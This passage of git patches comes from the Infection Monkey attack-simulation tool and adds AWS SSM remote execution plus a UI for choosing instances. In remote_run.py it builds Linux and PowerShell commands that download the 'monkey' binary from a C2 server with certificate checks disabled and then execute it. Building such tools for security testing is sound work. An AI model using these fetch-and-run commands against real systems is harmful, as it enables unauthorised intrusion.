'itay.mizeretz' + + +class AwsService(object): + """ + Supplies various AWS services + """ + + # TODO: consider changing from static to singleton, and generally change design + access_key_id = None + secret_access_key = None + region = None + + @staticmethod + def set_auth_params(access_key_id, secret_access_key): + AwsService.access_key_id = access_key_id + AwsService.secret_access_key = secret_access_key + + @staticmethod + def set_region(region): + AwsService.region = region + + @staticmethod + def get_client(client_type, region=None): + return boto3.client( + client_type, + aws_access_key_id=AwsService.access_key_id, + aws_secret_access_key=AwsService.secret_access_key, + region_name=region if region is not None else AwsService.region) + + @staticmethod + def get_session(): + return boto3.session.Session( + aws_access_key_id=AwsService.access_key_id, + aws_secret_access_key=AwsService.secret_access_key) + + @staticmethod + def get_regions(): + return AwsService.get_session().get_available_regions('ssm') diff --git a/monkey/common/cmd/__init__.py b/monkey/common/cmd/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/common/cmd/aws_cmd_result.py b/monkey/common/cmd/aws_cmd_result.py new file mode 100644 index 000000000..5c9057a61 --- /dev/null +++ b/monkey/common/cmd/aws_cmd_result.py @@ -0,0 +1,20 @@ +from common.cmd.cmd_result import CmdResult + + +__author__ = 'itay.mizeretz' + + +class AwsCmdResult(CmdResult): + """ + Class representing an AWS command result + """ + + def __init__(self, command_info): + super(AwsCmdResult, self).__init__( + self.is_successful(command_info), command_info[u'ResponseCode'], command_info[u'StandardOutputContent'], + command_info[u'StandardErrorContent']) + self.command_info = command_info + + @staticmethod + def is_successful(command_info): + return command_info[u'Status'] == u'Success' diff --git a/monkey/common/cmd/aws_cmd_runner.py b/monkey/common/cmd/aws_cmd_runner.py new file mode 100644 index 000000000..0f5032b9d --- /dev/null +++ b/monkey/common/cmd/aws_cmd_runner.py @@ -0,0 +1,39 @@ +import time + +from common.cloud.aws_service import AwsService +from common.cmd.aws_cmd_result import AwsCmdResult + +__author__ = 'itay.mizeretz' + + +class AwsCmdRunner(object): + """ + Class for running a command on a remote AWS machine + """ + + def __init__(self, instance_id, region, is_powershell=False): + self.instance_id = instance_id + self.region = region + self.is_powershell = is_powershell + self.ssm = AwsService.get_client('ssm', region) + + def run_command(self, command, timeout): + command_id = self._send_command(command) + init_time = time.time() + curr_time = init_time + command_info = None + while curr_time - init_time < timeout: + command_info = self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id) + if AwsCmdResult.is_successful(command_info): + break + else: + time.sleep(0.5) + curr_time = time.time() + + return AwsCmdResult(command_info) + + def _send_command(self, command): + doc_name = "AWS-RunPowerShellScript" if self.is_powershell else "AWS-RunShellScript" + command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command]}, + InstanceIds=[self.instance_id]) + return command_res['Command']['CommandId'] diff --git a/monkey/common/cmd/cmd_result.py b/monkey/common/cmd/cmd_result.py new file mode 100644 index 000000000..40eca2c85 --- /dev/null +++ b/monkey/common/cmd/cmd_result.py @@ -0,0 +1,12 @@ + + +class CmdResult(object): + """ + Class representing a command result + """ + + def __init__(self, is_success, status_code=None, stdout=None, stderr=None): + self.is_success = is_success + self.status_code = status_code + self.stdout = stdout + self.stderr = stderr diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py new file mode 100644 index 000000000..cf4afa289 --- /dev/null +++ b/monkey/common/cmd/cmd_runner.py @@ -0,0 +1,22 @@ +from abc import abstractmethod + +__author__ = 'itay.mizeretz' + + +class CmdRunner(object): + """ + Interface for running a command on a remote machine + """ + + # Default command timeout in seconds + DEFAULT_TIMEOUT = 5 + + @abstractmethod + def run_command(self, command, timeout=DEFAULT_TIMEOUT): + """ + Runs the given command on the remote machine + :param command: The command to run + :param timeout: Timeout in seconds for command. + :return: Command result + """ + raise NotImplementedError() diff --git a/monkey/infection_monkey/system_info/aws_collector.py b/monkey/infection_monkey/system_info/aws_collector.py index 699339ae8..df90e5913 100644 --- a/monkey/infection_monkey/system_info/aws_collector.py +++ b/monkey/infection_monkey/system_info/aws_collector.py @@ -1,6 +1,6 @@ import logging -from common.cloud.aws import AWS +from common.cloud.aws_instance import AwsInstance __author__ = 'itay.mizeretz' @@ -15,7 +15,7 @@ class AwsCollector(object): @staticmethod def get_aws_info(): LOG.info("Collecting AWS info") - aws = AWS() + aws = AwsInstance() info = {} if aws.is_aws_instance(): LOG.info("Machine is an AWS instance") diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index a004a2540..d80157806 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -1,6 +1,6 @@ import cc.auth from cc.environment import Environment -from common.cloud.aws import AWS +from common.cloud.aws_instance import AwsInstance __author__ = 'itay.mizeretz' @@ -8,7 +8,7 @@ __author__ = 'itay.mizeretz' class AwsEnvironment(Environment): def __init__(self): super(AwsEnvironment, self).__init__() - self.aws_info = AWS() + self.aws_info = AwsInstance() self._instance_id = self._get_instance_id() self.region = self._get_region() diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 735de6584..d8a01e909 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError from cc.resources.exporter import Exporter from cc.services.config import ConfigService from cc.environment.environment import load_server_configuration_from_file -from common.cloud.aws import AWS +from common.cloud.aws_instance import AwsInstance logger = logging.getLogger(__name__) @@ -20,7 +20,7 @@ class AWSExporter(Exporter): @staticmethod def handle_report(report_json): - aws = AWS() + aws = AwsInstance() findings_list = [] issues_list = report_json['recommendations']['issues'] if not issues_list: diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py new file mode 100644 index 000000000..6df5aee02 --- /dev/null +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -0,0 +1,20 @@ +import json +from flask import request, jsonify, make_response +import flask_restful + + +class RemoteRun(flask_restful.Resource): + def run_aws_monkey(self, request_body): + instance_id = request_body.get('instance_id') + region = request_body.get('region') + os = request_body.get('os') # TODO: consider getting this from instance + island_ip = request_body.get('island_ip') # TODO: Consider getting this another way. Not easy to determine target interface + + def post(self): + body = json.loads(request.data) + if body.get('type') == 'aws': + local_run = self.run_aws_monkey(body) + return jsonify(is_running=local_run[0], error_text=local_run[1]) + + # default action + return make_response({'error': 'Invalid action'}, 500) \ No newline at end of file From 0f4bb7f5f144550c9824cc39ec38d0ea1df7c8b8 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 4 Feb 2019 18:07:36 +0200 Subject: [PATCH 126/201] Most feature is ready --- monkey/common/cloud/aws_service.py | 15 ++- monkey/common/cmd/aws_cmd_result.py | 12 +- monkey/common/cmd/aws_cmd_runner.py | 43 +++++-- monkey/common/cmd/cmd_runner.py | 19 +++ monkey/monkey_island/cc/app.py | 2 + .../monkey_island/cc/resources/remote_run.py | 89 ++++++++++++-- .../ui/src/components/pages/RunMonkeyPage.js | 116 +++++++++++++++++- .../src/components/run-monkey/AwsRunTable.js | 109 ++++++++++++++++ 8 files changed, 378 insertions(+), 27 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js diff --git a/monkey/common/cloud/aws_service.py b/monkey/common/cloud/aws_service.py index 0cc641356..351c032f5 100644 --- a/monkey/common/cloud/aws_service.py +++ b/monkey/common/cloud/aws_service.py @@ -8,7 +8,6 @@ class AwsService(object): Supplies various AWS services """ - # TODO: consider changing from static to singleton, and generally change design access_key_id = None secret_access_key = None region = None @@ -39,3 +38,17 @@ class AwsService(object): @staticmethod def get_regions(): return AwsService.get_session().get_available_regions('ssm') + + @staticmethod + def get_instances(): + return \ + [ + { + 'instance_id': x['InstanceId'], + 'name': x['ComputerName'], + 'os': x['PlatformType'].lower(), + 'ip_address': x['IPAddress'] + } + for x in AwsService.get_client('ssm').describe_instance_information()['InstanceInformationList'] + ] + diff --git a/monkey/common/cmd/aws_cmd_result.py b/monkey/common/cmd/aws_cmd_result.py index 5c9057a61..79b1bb79d 100644 --- a/monkey/common/cmd/aws_cmd_result.py +++ b/monkey/common/cmd/aws_cmd_result.py @@ -11,10 +11,16 @@ class AwsCmdResult(CmdResult): def __init__(self, command_info): super(AwsCmdResult, self).__init__( - self.is_successful(command_info), command_info[u'ResponseCode'], command_info[u'StandardOutputContent'], + self.is_successful(command_info, True), command_info[u'ResponseCode'], command_info[u'StandardOutputContent'], command_info[u'StandardErrorContent']) self.command_info = command_info @staticmethod - def is_successful(command_info): - return command_info[u'Status'] == u'Success' + def is_successful(command_info, is_timeout=False): + """ + Determines whether the command was successful. If it timed out and was still in progress, we assume it worked. + :param command_info: Command info struct (returned by ssm.get_command_invocation) + :param is_timeout: Whether the given command timed out + :return: True if successful, False otherwise. + """ + return (command_info[u'Status'] == u'Success') or (is_timeout and (command_info[u'Status'] == u'InProgress')) diff --git a/monkey/common/cmd/aws_cmd_runner.py b/monkey/common/cmd/aws_cmd_runner.py index 0f5032b9d..1b2d01e42 100644 --- a/monkey/common/cmd/aws_cmd_runner.py +++ b/monkey/common/cmd/aws_cmd_runner.py @@ -1,39 +1,56 @@ import time +import logging +import json from common.cloud.aws_service import AwsService from common.cmd.aws_cmd_result import AwsCmdResult +from common.cmd.cmd_result import CmdResult +from common.cmd.cmd_runner import CmdRunner __author__ = 'itay.mizeretz' +logger = logging.getLogger(__name__) -class AwsCmdRunner(object): + +class AwsCmdRunner(CmdRunner): """ Class for running a command on a remote AWS machine """ - def __init__(self, instance_id, region, is_powershell=False): + def __init__(self, instance_id, region, is_linux): + super(AwsCmdRunner, self).__init__(is_linux) self.instance_id = instance_id self.region = region - self.is_powershell = is_powershell self.ssm = AwsService.get_client('ssm', region) - def run_command(self, command, timeout): + def run_command(self, command, timeout=CmdRunner.DEFAULT_TIMEOUT): + # TODO: document command_id = self._send_command(command) init_time = time.time() curr_time = init_time command_info = None - while curr_time - init_time < timeout: - command_info = self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id) - if AwsCmdResult.is_successful(command_info): - break - else: - time.sleep(0.5) - curr_time = time.time() - return AwsCmdResult(command_info) + try: + while curr_time - init_time < timeout: + command_info = self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id) + if AwsCmdResult.is_successful(command_info): + break + else: + time.sleep(0.5) + curr_time = time.time() + + cmd_res = AwsCmdResult(command_info) + + if not cmd_res.is_success: + logger.error('Failed running AWS command: `%s`. status code: %s', command, str(cmd_res.status_code)) + + return cmd_res + except Exception: + logger.exception('Exception while running AWS command: `%s`', command) + return CmdResult(False) def _send_command(self, command): - doc_name = "AWS-RunPowerShellScript" if self.is_powershell else "AWS-RunShellScript" + doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript" command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command]}, InstanceIds=[self.instance_id]) return command_res['Command']['CommandId'] diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py index cf4afa289..1875b7d4e 100644 --- a/monkey/common/cmd/cmd_runner.py +++ b/monkey/common/cmd/cmd_runner.py @@ -11,6 +11,9 @@ class CmdRunner(object): # Default command timeout in seconds DEFAULT_TIMEOUT = 5 + def __init__(self, is_linux): + self.is_linux = is_linux + @abstractmethod def run_command(self, command, timeout=DEFAULT_TIMEOUT): """ @@ -20,3 +23,19 @@ class CmdRunner(object): :return: Command result """ raise NotImplementedError() + + def is_64bit(self): + """ + Runs a command to determine whether OS is 32 or 64 bit. + :return: True if 64bit, False if 32bit, None if failed. + """ + if self.is_linux: + cmd_result = self.run_command('uname -m') + if not cmd_result.is_success: + return None + return cmd_result.stdout.find('i686') == -1 # i686 means 32bit + else: + cmd_result = self.run_command('Get-ChildItem Env:') + if not cmd_result.is_success: + return None + return cmd_result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 5bb94b611..ef8410ed9 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -22,6 +22,7 @@ from cc.resources.island_configuration import IslandConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap from cc.resources.node import Node +from cc.resources.remote_run import RemoteRun from cc.resources.report import Report from cc.resources.root import Root from cc.resources.telemetry import Telemetry @@ -115,5 +116,6 @@ def init_app(mongo_url): api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') + api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') return app diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index 6df5aee02..d4ebbed0b 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -2,19 +2,92 @@ import json from flask import request, jsonify, make_response import flask_restful +from cc.auth import jwt_required +from cc.services.config import ConfigService +from common.cloud.aws_instance import AwsInstance +from common.cloud.aws_service import AwsService +from common.cmd.aws_cmd_runner import AwsCmdRunner + class RemoteRun(flask_restful.Resource): - def run_aws_monkey(self, request_body): - instance_id = request_body.get('instance_id') - region = request_body.get('region') - os = request_body.get('os') # TODO: consider getting this from instance - island_ip = request_body.get('island_ip') # TODO: Consider getting this another way. Not easy to determine target interface + def __init__(self): + super(RemoteRun, self).__init__() + self.aws_instance = AwsInstance() + def run_aws_monkeys(self, request_body): + self.init_aws_auth_params() + instances = request_body.get('instances') + island_ip = request_body.get('island_ip') + + results = {} + + for instance in instances: + is_success = self.run_aws_monkey_cmd(instance['instance_id'], instance['os'], island_ip) + results[instance['instance_id']] = is_success + + return results + + def run_aws_monkey_cmd(self, instance_id, os, island_ip): + """ + Runs a monkey remotely using AWS + :param instance_id: Instance ID of target + :param os: OS of target ('linux' or 'windows') + :param island_ip: IP of the island which the instance will try to connect to + :return: True if successfully ran monkey, False otherwise. + """ + is_linux = ('linux' == os) + cmd = AwsCmdRunner(instance_id, None, is_linux) + is_64bit = cmd.is_64bit() + cmd_text = self._get_run_monkey_cmd(is_linux, is_64bit, island_ip) + return cmd.run_command(cmd_text).is_success + + def _get_run_monkey_cmd_linux(self, bit_text, island_ip): + return r'wget --no-check-certificate https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + \ + bit_text + r'; chmod +x monkey-linux-' + bit_text + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \ + island_ip + r':5000' + """ + return r'curl -O -k https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + bit_text + \ + r'; chmod +x monkey-linux-' + bit_text + \ + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \ + island_ip + r':5000' + """ + + def _get_run_monkey_cmd_windows(self, bit_text, island_ip): + return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \ + r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \ + r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \ + r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " + + def _get_run_monkey_cmd(self, is_linux, is_64bit, island_ip): + bit_text = '64' if is_64bit else '32' + return self._get_run_monkey_cmd_linux(bit_text, island_ip) if is_linux \ + else self._get_run_monkey_cmd_windows(bit_text, island_ip) + + def init_aws_auth_params(self): + access_key_id = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_access_key_id'], False, True) + secret_access_key = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_secret_access_key'], False, True) + AwsService.set_auth_params(access_key_id, secret_access_key) + AwsService.set_region(self.aws_instance.region) + + @jwt_required() + def get(self): + action = request.args.get('action') + if action == 'list_aws': + is_aws = self.aws_instance.is_aws_instance() + resp = {'is_aws': is_aws} + if is_aws: + resp['instances'] = AwsService.get_instances() + self.init_aws_auth_params() + return jsonify(resp) + + return {} + + @jwt_required() def post(self): body = json.loads(request.data) if body.get('type') == 'aws': - local_run = self.run_aws_monkey(body) - return jsonify(is_running=local_run[0], error_text=local_run[1]) + result = self.run_aws_monkeys(body) + return jsonify({'result': result}) # default action - return make_response({'error': 'Invalid action'}, 500) \ No newline at end of file + return make_response({'error': 'Invalid action'}, 500) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index 5c93065c4..e90292406 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -4,6 +4,7 @@ import CopyToClipboard from 'react-copy-to-clipboard'; import {Icon} from 'react-fa'; import {Link} from 'react-router-dom'; import AuthComponent from '../AuthComponent'; +import AwsRunTable from "../run-monkey/AwsRunTable"; class RunMonkeyPageComponent extends AuthComponent { @@ -13,9 +14,13 @@ class RunMonkeyPageComponent extends AuthComponent { ips: [], runningOnIslandState: 'not_running', runningOnClientState: 'not_running', + awsClicked: false, selectedIp: '0.0.0.0', selectedOs: 'windows-32', - showManual: false + showManual: false, + showAws: false, + isOnAws: false, + awsMachines: [] }; } @@ -37,6 +42,18 @@ class RunMonkeyPageComponent extends AuthComponent { } }); + this.authFetch('/api/remote-monkey?action=list_aws') + .then(res => res.json()) + .then(res =>{ + let is_aws = res['is_aws']; + if (is_aws) { + let instances = res['instances']; + if (instances) { + this.setState({isOnAws: true, awsMachines: instances}); + } + } + }); + this.authFetch('/api/client-monkey') .then(res => res.json()) .then(res => { @@ -134,6 +151,56 @@ class RunMonkeyPageComponent extends AuthComponent { }); }; + toggleAws = () => { + this.setState({ + showAws: !this.state.showAws + }); + }; + + runOnAws = () => { + this.setState({ + awsClicked: true + }); + + let instances = this.awsTable.state.selection.map(x => this.instanceIdToInstance(x)); + + this.authFetch('/api/remote-monkey', + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({type: 'aws', instances: instances, island_ip: this.state.selectedIp}) + }).then(res => res.json()) + .then(res => { + let result = res['result']; + + // update existing state, not run-over + let prevRes = this.awsTable.state.result; + for (let key in result) { + if (result.hasOwnProperty(key)) { + prevRes[key] = result[key]; + } + } + this.awsTable.setState({ + result: prevRes, + selection: [], + selectAll: false + }); + + this.setState({ + awsClicked: false + }); + }); + }; + + instanceIdToInstance = (instance_id) => { + let instance = this.state.awsMachines.find( + function (inst) { + return inst['instance_id'] === instance_id; + }); + return {'instance_id': instance_id, 'os': instance['os']} + + }; + render() { return ( @@ -166,7 +233,7 @@ class RunMonkeyPageComponent extends AuthComponent {

    OR

    -

    +

    @@ -196,6 +263,51 @@ class RunMonkeyPageComponent extends AuthComponent { {this.generateCmdDiv()} + { + this.state.isOnAws ? +

    + OR +

    + : + null + } + { + this.state.isOnAws ? +

    + +

    + : + null + } + +
    +

    + Select server IP address +

    + { + this.state.ips.length > 1 ? + + :
    + } + + (this.awsTable = r)} + /> + +
    +

    Go ahead and monitor the ongoing infection in the Infection Map view. diff --git a/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js b/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js new file mode 100644 index 000000000..6a8fe9416 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js @@ -0,0 +1,109 @@ +import React from 'react'; +import ReactTable from 'react-table' +import checkboxHOC from "react-table/lib/hoc/selectTable"; + +const CheckboxTable = checkboxHOC(ReactTable); + +const columns = [ + { + Header: 'Machines', + columns: [ + { Header: 'Machine', accessor: 'name'}, + { Header: 'Instance ID', accessor: 'instance_id'}, + { Header: 'IP Address', accessor: 'ip_address'}, + { Header: 'OS', accessor: 'os'} + ] + } +]; + +const pageSize = 10; + +class AwsRunTableComponent extends React.Component { + constructor(props) { + super(props); + this.state = { + selection: [], + selectAll: false, + result: {} + } + } + + toggleSelection = (key, shift, row) => { + // start off with the existing state + let selection = [...this.state.selection]; + const keyIndex = selection.indexOf(key); + // check to see if the key exists + if (keyIndex >= 0) { + // it does exist so we will remove it using destructing + selection = [ + ...selection.slice(0, keyIndex), + ...selection.slice(keyIndex + 1) + ]; + } else { + // it does not exist so add it + selection.push(key); + } + // update the state + this.setState({ selection }); + }; + + isSelected = key => { + return this.state.selection.includes(key); + }; + + toggleAll = () => { + const selectAll = !this.state.selectAll; + const selection = []; + if (selectAll) { + // we need to get at the internals of ReactTable + const wrappedInstance = this.checkboxTable.getWrappedInstance(); + // the 'sortedData' property contains the currently accessible records based on the filter and sort + const currentRecords = wrappedInstance.getResolvedState().sortedData; + // we just push all the IDs onto the selection array + currentRecords.forEach(item => { + selection.push(item._original.instance_id); + }); + } + this.setState({ selectAll, selection }); + }; + + getTrProps = (s, r) => { + let color = "inherit"; + if (r) { + let instId = r.original.instance_id; + if (this.isSelected(instId)) { + color = "#ffed9f"; + } else if (this.state.result.hasOwnProperty(instId)) { + color = this.state.result[instId] ? "#00f01b" : '#f00000' + } + } + + return { + style: {backgroundColor: color} + }; + }; + + render() { + return ( +

    + (this.checkboxTable = r)} + keyField="instance_id" + columns={columns} + data={this.props.data} + showPagination={true} + defaultPageSize={pageSize} + className="-highlight" + selectType="checkbox" + toggleSelection={this.toggleSelection} + isSelected={this.isSelected} + toggleAll={this.toggleAll} + selectAll={this.state.selectAll} + getTrProps={this.getTrProps} + /> +
    + ); + } +} + +export default AwsRunTableComponent; From cf3bf89df537223b1dc3f5180ac83c9934138c04 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 24 Jan 2019 14:32:19 +0200 Subject: [PATCH 127/201] Improved linux commands in deployment scripts and separated linux and windows dependency files --- deployment_scripts/deploy_linux.sh | 10 +++++----- deployment_scripts/deploy_windows.ps1 | 4 ++-- monkey/infection_monkey/requirements_linux.txt | 17 +++++++++++++++++ ...equirements.txt => requirements_windows.txt} | 0 ...{requirements.txt => requirements_linux.txt} | 0 monkey/monkey_island/requirements_windows.txt | 16 ++++++++++++++++ 6 files changed, 40 insertions(+), 7 deletions(-) create mode 100644 monkey/infection_monkey/requirements_linux.txt rename monkey/infection_monkey/{requirements.txt => requirements_windows.txt} (100%) rename monkey/monkey_island/{requirements.txt => requirements_linux.txt} (100%) create mode 100644 monkey/monkey_island/requirements_windows.txt diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index c9bb7c176..4eb5a9225 100644 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -69,7 +69,7 @@ log_message "Installing pip" sudo apt-get install python-pip log_message "Installing island requirements" -requirements="$ISLAND_PATH/requirements.txt" +requirements="$ISLAND_PATH/requirements_linux.txt" python -m pip install --user -r ${requirements} || handle_error # Download binaries @@ -121,7 +121,7 @@ openssl req -new -key cc/server.key -out cc/server.csr \ openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error -chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error +sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error ${ISLAND_PATH}/linux/create_certificate.sh || handle_error # Install npm @@ -142,16 +142,16 @@ npm run dist log_message "Installing monkey requirements" sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1 cd ${monkey_home}/monkey/infection_monkey || handle_error -python -m pip install --user -r requirements.txt || handle_error +python -m pip install --user -r requirements_linux.txt || handle_error # Build samba log_message "Building samba binaries" sudo apt-get install gcc-multilib cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner -chmod +x ./build.sh || handle_error +sudo chmod +x ./build.sh || handle_error ./build.sh -chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh +sudo chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh log_message "Deployment script finished." exit 0 \ No newline at end of file diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index c72c29b5e..9ff7d7d5d 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -76,7 +76,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER # Install requirements for island - $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop + $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements_windows.txt" -ErrorAction Stop "Upgrading pip..." $output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1' $output @@ -86,7 +86,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, } & python -m pip install --user -r $islandRequirements # Install requirements for monkey - $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt" + $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt" & python -m pip install --user -r $monkeyRequirements # Download mongodb diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt new file mode 100644 index 000000000..468b748e8 --- /dev/null +++ b/monkey/infection_monkey/requirements_linux.txt @@ -0,0 +1,17 @@ +enum34 +impacket +PyCrypto +pyasn1 +cffi +twisted +rdpy +requests +odict +paramiko +psutil==3.4.2 +PyInstaller +six +ecdsa +netifaces +ipaddress +wmi \ No newline at end of file diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements_windows.txt similarity index 100% rename from monkey/infection_monkey/requirements.txt rename to monkey/infection_monkey/requirements_windows.txt diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements_linux.txt similarity index 100% rename from monkey/monkey_island/requirements.txt rename to monkey/monkey_island/requirements_linux.txt diff --git a/monkey/monkey_island/requirements_windows.txt b/monkey/monkey_island/requirements_windows.txt new file mode 100644 index 000000000..29c364c9f --- /dev/null +++ b/monkey/monkey_island/requirements_windows.txt @@ -0,0 +1,16 @@ +python-dateutil +tornado +werkzeug +jinja2 +markupsafe +itsdangerous +click +flask +Flask-Pymongo +Flask-Restful +Flask-JWT +jsonschema +netifaces +ipaddress +enum34 +PyCrypto From ed921fceedee42b84c2825dcdf91392d1b585cbe Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Feb 2019 10:35:39 +0200 Subject: [PATCH 128/201] Refactored for island to have only one requirements file. --- deployment_scripts/deploy_linux.sh | 4 ++-- deployment_scripts/deploy_windows.ps1 | 6 +++--- .../{requirements_linux.txt => requirements.txt} | 0 monkey/monkey_island/requirements_windows.txt | 16 ---------------- 4 files changed, 5 insertions(+), 21 deletions(-) rename monkey/monkey_island/{requirements_linux.txt => requirements.txt} (100%) delete mode 100644 monkey/monkey_island/requirements_windows.txt diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 4eb5a9225..176c2e4fc 100644 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -69,7 +69,7 @@ log_message "Installing pip" sudo apt-get install python-pip log_message "Installing island requirements" -requirements="$ISLAND_PATH/requirements_linux.txt" +requirements="$ISLAND_PATH/requirements.txt" python -m pip install --user -r ${requirements} || handle_error # Download binaries @@ -154,4 +154,4 @@ sudo chmod +x ./build.sh || handle_error sudo chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh log_message "Deployment script finished." -exit 0 \ No newline at end of file +exit 0 diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 9ff7d7d5d..17d08ecc8 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -39,7 +39,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, New-Item -ItemType directory -path $binDir "Bin directory added" } - + # We check if python is installed try { @@ -72,11 +72,11 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, "Downloading Visual C++ Compiler for Python 2.7 ..." $webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER) Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop - $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER # Install requirements for island - $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements_windows.txt" -ErrorAction Stop + $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop "Upgrading pip..." $output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1' $output diff --git a/monkey/monkey_island/requirements_linux.txt b/monkey/monkey_island/requirements.txt similarity index 100% rename from monkey/monkey_island/requirements_linux.txt rename to monkey/monkey_island/requirements.txt diff --git a/monkey/monkey_island/requirements_windows.txt b/monkey/monkey_island/requirements_windows.txt deleted file mode 100644 index 29c364c9f..000000000 --- a/monkey/monkey_island/requirements_windows.txt +++ /dev/null @@ -1,16 +0,0 @@ -python-dateutil -tornado -werkzeug -jinja2 -markupsafe -itsdangerous -click -flask -Flask-Pymongo -Flask-Restful -Flask-JWT -jsonschema -netifaces -ipaddress -enum34 